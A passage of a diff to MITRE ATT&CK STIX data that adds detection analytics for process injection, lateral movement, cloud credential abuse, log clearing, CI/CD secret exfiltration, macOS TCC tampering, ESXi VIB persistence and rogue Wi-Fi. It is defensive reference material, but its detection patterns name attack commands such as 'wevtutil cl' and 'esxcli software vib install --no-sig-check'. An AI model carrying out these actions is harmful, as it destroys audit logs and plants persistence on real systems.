"1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--552ff82d-467b-4aeb-a4c3-084ca24dbd3e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0529#AN1466", + "external_id": "AN1466" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1466", + "description": "Userland processes invoking syscall-heavy libraries (libc, glibc) followed by fork, mmap, or ptrace behavior commonly associated with code injection or memory manipulation.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--1887a270-576a-4049-84de-ef746b2572d6", + "name": "auditd:SYSCALL", + "channel": "execve, fork, mmap, ptrace" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "auditd:SYSCALL", + "channel": "module load or memory map path" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "SyscallType", + "description": "Filter for fork, mmap, ptrace based on context" + }, + { + "field": "ProcessName", + "description": "Whitelist known daemon and scheduled task patterns" + }, + { + "field": "MAPS Path", + "description": "Tune suspicious memory map regions (e.g., /tmp/.evilshmem)" + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--5e02fe2a-7659-4871-b79e-7ea57373aa37", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0529#AN1467", + "external_id": "AN1467" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1467", + "description": "Execution of processes that link to CoreServices or Foundation APIs followed by creation of memory regions, code execution, or abnormal library injection.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "macos:unifiedlog", + "channel": "launch and dylib load" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:endpointsecurity", + "channel": "ES_EVENT_TYPE_NOTIFY_EXEC" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "API Framework Name", + "description": "Filter on CoreServices, Cocoa, Foundation framework usage" + }, + { + "field": "Execution Context", + "description": "Tune to exclude known developer tools or test environments" + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--1a18402e-efb1-49c7-8615-dc907f838320", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0530#AN1468", + "external_id": "AN1468" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1468", + "description": "An SMB-based remote file share access followed by lateral movement actions such as remote service creation, task scheduling, or suspicious process execution on the target host using ADMIN$ or C$ shares.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9ce98c86-8d30-4043-ba54-0784d478d0b5", + "name": "WinEventLog:Security", + "channel": "EventCode=4624 (LogonType=3)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=3" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ShareName", + "description": "Targeted admin share path, such as C$, ADMIN$, IPC$" + }, + { + "field": "TimeWindow", + "description": "Correlation window between remote file access and remote execution (e.g., 5-10 minutes)" + }, + { + "field": "UserContext", + "description": "Distinguish expected remote administrators vs. rare/first-time access by specific users" + }, + { + "field": "ProcessList", + "description": "List of suspicious binaries or tools executed post remote copy (e.g., cmd.exe, powershell.exe, runonce.exe)" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--e95d8309-8435-4c32-9ac3-38e350c170c5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0531#AN1469", + "external_id": "AN1469" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1469", + "description": "Addition of credentials (keys, app passwords, x.509 certs) to existing cloud accounts, service principals, or OAuth apps via portal or API by non-standard identities or IP ranges.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "azure:audit", + "channel": "Add service principal credentials, app password added, app role assignment" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "MFABypassMechanism", + "description": "App password or legacy auth activity bypassing MFA policies." + }, + { + "field": "SourceIPAllowlist", + "description": "Expected IPs allowed to perform admin identity operations." + }, + { + "field": "ApplicationCredentialType", + "description": "Track types like `client_secret`, `certificate`, `password`, `federated`." + } + ], + "x_mitre_platforms": [ + "Identity Provider" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--b31afcb5-1690-43f1-acbb-3e2936e48616", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0531#AN1470", + "external_id": "AN1470" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1470", + "description": "Cloud API usage to create/import SSH keys or generate new access keys (CreateAccessKey, ImportKeyPair, CreateLoginProfile) from non-console access or unusual principals.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--18b236d8-7224-488f-9d2f-50076a0f653a", + "name": "AWS:CloudTrail", + "channel": "CreateAccessKey, ImportKeyPair, CreateLoginProfile, CreateKeyPair" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "gcp:audit", + "channel": "iam.serviceAccounts.keys.create, os-login.sshPublicKeys.add" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "CallerIdentityContext", + "description": "Track root, federated identities, and STS tokens separately." + }, + { + "field": "NewCredentialUsageWindow", + "description": "Time between key creation and first use (default: 5 min)." + }, + { + "field": "IAMRoleBaseline", + "description": "Expected services/accounts allowed to create keys." + } + ], + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--7a9088cb-cfe8-4a4a-979c-1ef7678179f2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0531#AN1471", + "external_id": "AN1471" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1471", + "description": "Credential-related configuration changes in productivity apps, such as API key creation in Google Workspace, app tokens in Slack, or user-level OAuth credentials in M365.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", + "name": "gcp:audit", + "channel": "API Key Created, OAuth Client Registered" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--5b8b466b-2c81-4fe7-946f-d677a74ae3db", + "name": "m365:unified", + "channel": "Set-Mailbox, Set-AppPassword, Add-MailboxPermission" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "OAuthClientRedirectURIBaseline", + "description": "Detect suspicious redirect URI mismatches in new clients." + }, + { + "field": "TokenScopeSensitivity", + "description": "Highlight credentials granting excessive read/write org-wide." + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6482fa33-322b-47e4-a9f7-c2bcc92d132a", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0532#AN1472", + "external_id": "AN1472" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1472", + "description": "Detects behavioral sequence where an adversary gains elevated privileges and clears event logs using native binaries (e.g., wevtutil), PowerShell, or direct file deletion of .evtx files.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "WinEventLog:Security", + "channel": "EventCode=1102" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--e905dad2-00d6-477c-97e8-800427abd0e8", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=23" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time range between log-clearing command and 1102 event; tunable to reduce false positives" + }, + { + "field": "UserContext", + "description": "Filter by admin/elevated users; allow tuning to detect abuse of high-privilege accounts" + }, + { + "field": "CommandLinePattern", + "description": "Match common variations of log-clearing commands like `Remove-EventLog`, `wevtutil cl`" + }, + { + "field": "TargetLogName", + "description": "Scope detection to Security, System, Application, or custom logs based on environment" + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--0391c880-fcb3-457f-b625-18f9453659b8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0533#AN1473", + "external_id": "AN1473" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1473", + "description": "Detects anomalous CI/CD workflow execution originating from forked repositories, with pull request (PR) metadata or commit messages containing suspicious patterns (e.g., encoded payloads), coupled with the use of insecure pipeline triggers like `pull_request_target` or excessive API usage of CI/CD secrets. Correlation with unusual artifact generation or secret exfiltration via encoded or external network destination URLs confirms suspicious behavior.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e", + "name": "saas:github", + "channel": "Workflow triggered via pull_request_target from forked repo" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--b33d36e3-d7ea-4895-8eed-19a08a8f7c4f", + "name": "saas:github", + "channel": "CI/CD secret accessed or exported" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--58ef998c-f3bf-4985-b487-b1005f5c05d1", + "name": "saas:github", + "channel": "Artifact generated includes base64/encoded exfil payload or URL" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "saas:RepoEvents", + "channel": "New file added or modified in PR targeting CI/CD or build config (e.g., `gitlab-ci.yml`, `build.gradle`, `pom.xml`, `.github/workflows/*.yml`)" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "saas:PRMetadata", + "channel": "Commit message or branch name contains encoded strings or payload indicators" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Time delta between PR creation and workflow execution to flag rapid attempts" + }, + { + "field": "UserContext", + "description": "Forked or external user accounts triggering workflows; may differ across orgs" + }, + { + "field": "TriggerTypeAllowlist", + "description": "CI trigger types (e.g., `pull_request_target`) that should or shouldn't be used for forks" + }, + { + "field": "ArtifactEntropyThreshold", + "description": "Entropy threshold for detecting encoded payloads in artifacts" + }, + { + "field": "SecretAccessRateThreshold", + "description": "Rate of secret access in a single workflow run that might indicate abuse" + } + ], + "x_mitre_platforms": [ + "SaaS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--c0766f2c-e282-44a1-8dcf-1575d77658da", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0534#AN1474", + "external_id": "AN1474" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1474", + "description": "Unauthorized modification of TCC.db followed by elevated process execution under a trusted parent (e.g., Finder, SystemUIServer) or via launchctl environment override. Also includes identification of SIP being disabled, which is highly uncommon and a prerequisite for this abuse path.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "macos:unifiedlog", + "channel": "Execution of binaries with TCC protected access under unexpected parent processes such as Finder.app, SystemUIServer, or nsurlsessiond" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "macos:unifiedlog", + "channel": "Modification or replacement of /Library/Application Support/com.apple.TCC/TCC.db or ~/Library/Application Support/com.apple.TCC/TCC.db" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "macos:unifiedlog", + "channel": "Execution of launchctl with setenv or bootout targeting TCC.db or AppleScript under Finder context" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--85a533a4-5fa4-4dba-b45d-f0717bedd6e6", + "name": "macos:unifiedlog", + "channel": "System Integrity Protection (SIP) state reported as disabled" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "ParentProcessName", + "description": "May vary across macOS versions and user contexts; defenders can tune for known benign cases." + }, + { + "field": "TCCModificationPath", + "description": "Custom user paths or redirected SQLite DBs may require alternate matching logic." + }, + { + "field": "TimeWindow", + "description": "Temporal proximity between launchctl setenv and subsequent privileged access can be tuned." + }, + { + "field": "SIPStateCheckInterval", + "description": "Frequency of SIP integrity checks may vary based on system hardening policies." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--9696a221-35b9-4576-ae75-714c902c2889", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0535#AN1475", + "external_id": "AN1475" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1475", + "description": "Malicious VIB installation for persistence via `esxcli software vib install` using `--force` or `--no-sig-check`, enabling custom startup scripts or firewall rules. Behavior chain: (1) unsigned/suspicious VIB installation \u2192 (2) startup script or binary placed in persistent boot path \u2192 (3) persistence across reboot via /etc/rc.local.d or other boot hook).", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa", + "name": "esxi:esxupdate", + "channel": "/var/log/esxupdate.log contains VIB installed with `--force` or `--no-sig-check` and non-standard acceptance levels" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", + "name": "esxi:shell", + "channel": "`esxcli software vib install` with `--force` or `--no-sig-check` from shell history or `shell.log`" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8", + "name": "linux:fim", + "channel": "Changes to /etc/rc.local.d/local.sh or creation of unexpected startup files in persistent partitions (/etc/init.d, /store, /locker)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AcceptanceLevel", + "description": "Some environments may intentionally permit CommunitySupported or unsigned VIBs\u2014filter by known allowed publishers." + }, + { + "field": "InstallCommandThreshold", + "description": "Set alerting thresholds for frequency of VIB install attempts per host/user/time window." + }, + { + "field": "StartupPathRegex", + "description": "Tune regex for monitoring startup file locations based on ESXi image customization." + } + ], + "x_mitre_platforms": [ + "ESXi" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8586fd06-9801-473e-8ea6-d3da0ec82267", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0536#AN1476", + "external_id": "AN1476" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1476", + "description": "Detects anomalous wireless connections such as unexpected SSID associations, failed or repeated authentication attempts, and connections outside of known geofenced networks. Defenders should monitor wireless connection logs and event codes for network discovery, authentication, and association events.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "WinEventLog:Microsoft-Windows-WLAN-AutoConfig", + "channel": "8001, 8002, 8003" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a953ca55-921a-44f7-9b8d-3d40141aa17e", + "name": "WinEventLog:Security", + "channel": "4624, 4625" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "KnownSSIDList", + "description": "Defines approved Wi-Fi SSIDs for the environment; deviations may indicate malicious connection attempts." + }, + { + "field": "GeoLocationContext", + "description": "Correlates expected physical location of systems with observed Wi-Fi connections to detect anomalies." + } + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--6ad3d8bb-fc6f-45fb-b44e-871c263230d8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0536#AN1477", + "external_id": "AN1477" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1477", + "description": "Detects unauthorized wireless associations by monitoring wpa_supplicant logs, NetworkManager events, and system calls related to interface state changes. Anomalies include repeated association failures, new SSIDs outside baselined values, and rogue AP connections.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "linux:syslog", + "channel": "New Wi-Fi connection established or repeated association failures" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "auditd:SYSCALL", + "channel": "ioctl: Changes to wireless network interfaces (up, down, reassociate)" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AllowedSSIDRegex", + "description": "Regex-based whitelist of corporate SSIDs; anomalous matches indicate suspicious activity." + }, + { + "field": "RetryThreshold", + "description": "Number of failed association attempts allowed before triggering detection." + } + ], + "x_mitre_platforms": [ + "Linux" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--20c2cbdf-2a02-40d1-9d10-b91d9bbe3004", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0536#AN1478", + "external_id": "AN1478" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1478", + "description": "Detects unauthorized Wi-Fi associations and SSID scanning activity using unified logs and airport command telemetry. Anomalies include rapid SSID switching, connections to unapproved SSIDs, or repeated authentication failures.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--181a9f8c-c780-4f1f-91a8-edb770e904ba", + "name": "macos:unifiedlog", + "channel": "Association and authentication events including failures and new SSIDs" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "macos:osquery", + "channel": "query: Historical list of associated SSIDs compared against baseline" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "BaselineSSIDHistory", + "description": "Historical record of corporate SSID associations per device; deviations may indicate rogue AP usage." + } + ], + "x_mitre_platforms": [ + "macOS" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--8ea556b8-d6d3-430c-a438-847b00e607a5", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0536#AN1479", + "external_id": "AN1479" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1479", + "description": "Detects rogue or suspicious wireless access attempts by monitoring firewall, WIDS/WIPS, and controller logs. Focus is on firewall rule changes, rogue AP detection, and anomalous MAC addresses connecting to access points.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--d2ff4b56-8351-4ed8-b0fb-d8605366005f", + "name": "NSM:Firewall", + "channel": "rule_modification: New or modified firewall rules related to wireless interfaces" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c", + "name": "WIDS:AssociationLogs", + "channel": "Unauthorized AP or anomalous MAC address connection attempts" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "AuthorizedAPList", + "description": "Defines known access points and MAC addresses; deviations highlight rogue or unauthorized devices." + } + ], + "x_mitre_platforms": [ + "Network Devices" + ], + "x_mitre_version": "1.0", + "x_mitre_deprecated": false + }, + { + "type": "x-mitre-analytic", + "id": "x-mitre-analytic--a6b1e74e-6c05-4d9f-928c-63ddf558798b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2025-10-21 15:10:28.402000+00:00", + "modified": "2025-10-21 15:10:28.402000+00:00", + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/detectionstrategies/DET0537#AN1480", + "external_id": "AN1480" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "Analytic 1480", + "description": "1) New or updated software is delivered/installed from atypical sources or with signature/hash mismatches; 2) installer/updater writes binaries to unexpected paths or replaces existing signed files; 3) first run causes unsigned/abnormally signed modules to load or child processes to execute, optionally followed by network egress to new destinations.", + "x-mitre-deprecated": false, + "x_mitre_attack_spec_version": "3.3.0", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_log_source_references": [ + { + "x_mitre_data_component_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=1" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=7" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", + "name": "WinEventLog:Sysmon", + "channel": "EventCode=11" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5", + "name": "WinEventLog:Microsoft-Windows-CodeIntegrity/Operational", + "channel": "CodeIntegrity reports 'Invalid image hash' or 'Unsigned image' for new/updated binaries" + }, + { + "x_mitre_data_component_ref": "x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a", + "name": "NSM:Flow", + "channel": "First-time egress from host after new install to unknown update endpoints" + } + ], + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_mutable_elements": [ + { + "field": "TimeWindow", + "description": "Correlation window between install events and first-run activity (default 2h; adjust for staged rollouts)." + }, + { + "field": 